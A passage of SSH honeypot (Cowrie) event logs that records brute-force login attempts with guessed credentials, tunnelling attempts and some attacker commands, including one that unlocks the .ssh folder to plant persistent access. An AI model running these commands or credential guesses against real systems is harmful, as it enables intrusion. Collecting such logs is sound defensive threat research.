\\x12\\x85\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\x8bU\\n\\x18Z \\x03NV\\xf9/\\x01X\\x86\\x00\\x93L\\x91\\xb4M\\xd2\\xd0yw\\xe6\\xbd\\x07\\xde\\x15;%\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:20.308539Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"80.94.95.118","src_port":54638,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:54638","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:25.440692Z","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:28.738623Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xd7\\xbb\\xa9\\xd0k\\xc3\\xa4z:.\\xa6:\\xfe\\x81\\xee{\\xc5Jp\\xed5^\\xee\\xac\\tj\\xbc\\xb9y\\x11( \\xe0\\xabB\\x1a'\\xd3\\xeb\\xcb\\xcc\\xc0\\x8f\\xc4\\xaf\\xf30\\x9a*0\\xd7\\xcat\\xb5[\\x19\\xe2\\xb2\\xa1T\\xd1p[\\xcd\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb4\\xcbN5\\xb9\\n{9\\x06\\x14\\tV{\\r\\x1c\\x90(\\xe2\\xa1T\\x8e\\xe8\\xd5\\xa7\\xd9t\\xf8\\xf1\\xe2?\\xd8B\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.155.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xd7\\xbb\\xa9\\xd0k\\xc3\\xa4z:.\\xa6:\\xfe\\x81\\xee{\\xc5Jp\\xed5^\\xee\\xac\\tj\\xbc\\xb9y\\x11( \\xe0\\xabB\\x1a'\\xd3\\xeb\\xcb\\xcc\\xc0\\x8f\\xc4\\xaf\\xf30\\x9a*0\\xd7\\xcat\\xb5[\\x19\\xe2\\xb2\\xa1T\\xd1p[\\xcd\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb4\\xcbN5\\xb9\\n{9\\x06\\x14\\tV{\\r\\x1c\\x90(\\xe2\\xa1T\\x8e\\xe8\\xd5\\xa7\\xd9t\\xf8\\xf1\\xe2?\\xd8B\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:28.741904Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.4","message":"Connection lost after 19.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:31.059047Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":13845,"dst_ip":"10.17.0.5","dst_port":22,"session":"31752289a08c","protocol":"ssh","message":"New connection: 2.57.121.112:13845 (10.17.0.5:22) [session: 31752289a08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:44.218240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:44.222370Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:44.326389Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666666q","message":"login attempt [admin/666666q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:44.815155Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666111","message":"login attempt [admin/666111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:45.920399Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"619619","message":"login attempt [admin/619619] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:47.026514Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"6161","message":"login attempt [admin/6161] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:48.132503Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"551scasi","message":"login attempt [admin/551scasi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:49.239013Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:50.344986Z","src_ip":"2.57.121.112","session":"31752289a08c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":53638,"dst_ip":"10.17.0.5","dst_port":22,"session":"7954277097d2","protocol":"ssh","message":"New connection: 162.120.6.20:53638 (10.17.0.5:22) [session: 7954277097d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:51.907873Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:51.977681Z","src_ip":"162.120.6.20","session":"7954277097d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":53640,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c8801c311ab","protocol":"ssh","message":"New connection: 162.120.6.20:53640 (10.17.0.5:22) [session: 4c8801c311ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.042120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.046582Z","src_ip":"162.120.6.20","session":"4c8801c311ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.114433Z","src_ip":"162.120.6.20","session":"4c8801c311ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass","message":"login attempt [root/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.316818Z","src_ip":"162.120.6.20","session":"4c8801c311ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.489898Z","src_ip":"162.120.6.20","session":"4c8801c311ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.493000Z","src_ip":"162.120.6.20","session":"4c8801c311ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.564245Z","src_ip":"162.120.6.20","session":"4c8801c311ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:52.568840Z","src_ip":"162.120.6.20","session":"4c8801c311ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35744,"dst_ip":"159.203.135.109","dst_port":22,"session":"e67165515926","protocol":"ssh","message":"New connection: 195.178.110.218:35744 (159.203.135.109:22) [session: e67165515926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:54.850665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:54.854754Z","src_ip":"195.178.110.218","session":"e67165515926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:54.934055Z","src_ip":"195.178.110.218","session":"e67165515926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:55.173447Z","src_ip":"195.178.110.218","session":"e67165515926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:56.254824Z","src_ip":"195.178.110.218","session":"e67165515926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.104","src_port":38116,"dst_ip":"10.17.0.5","dst_port":22,"session":"d936f02da458","protocol":"ssh","message":"New connection: 157.15.59.104:38116 (10.17.0.5:22) [session: d936f02da458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:57.163765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:57.168360Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:57.400330Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"2wsx@WSX","message":"login attempt [root/2wsx@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:58.357958Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:58.852929Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:58.855936Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
